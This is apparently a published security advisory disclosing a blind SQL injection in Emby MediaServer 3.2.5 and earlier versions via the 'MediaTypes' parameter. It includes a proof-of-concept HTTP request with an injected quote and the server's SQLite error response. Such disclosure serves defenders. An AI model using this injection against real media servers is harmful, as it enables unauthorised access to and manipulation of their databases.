Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability

Risk: Medium
Local: No
Remote: Yes

Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability Vendor: Emby LLC Product web page: https://www.emby.media Affected version: 3.2.5 3.1.5 3.1.2 3.1.1 3.1.0 3.0.0 Summary: Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center. Desc: Emby suffers from a blind SQL injection vulnerability. Input passed via the GET parameter 'MediaTypes' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Tested on: Microsoft Windows 7 Professional SP1 (EN) Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 Ubuntu Linux 14.04.5 MacOS Sierra 10.12.3 SQLite3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5400 Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5400.php SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098 22.12.2016 -- PoC: GET /emby/Users/abb355429db54e159ac2a7a3cbd6eb12/Items?ParentId=4cd160cad6c50f34ca42be0136af2316&Filters=IsNotFolder&Recursive=true&SortBy=SortName&MediaTypes=Audio%2cVideo'&Limit=100&Fields=MediaSources%2CChapters&ExcludeLocationTypes=Virtual HTTP/1.1 Host: accept: application/json x-mediabrowser-token: ba5a68dfa1134bd6af642228bbf757bb User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome 55.0.2883.87", DeviceId="104a154d5aa8c9576a2508113b47a53b6170253c", Version="", UserId="abb355429db54e159ac2a7a3cbd6eb12" Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Connection: close Response: HTTP/1.1 500 Internal Server Error Content-Type: text/html Server: Mono-HTTPAPI/1.0 Date: Tue, 21 Feb 2017 12:06:09 GMT Content-Length: 64 Connection: close Exception of type 'SQLitePCL.pretty.SQLiteException' was thrown.



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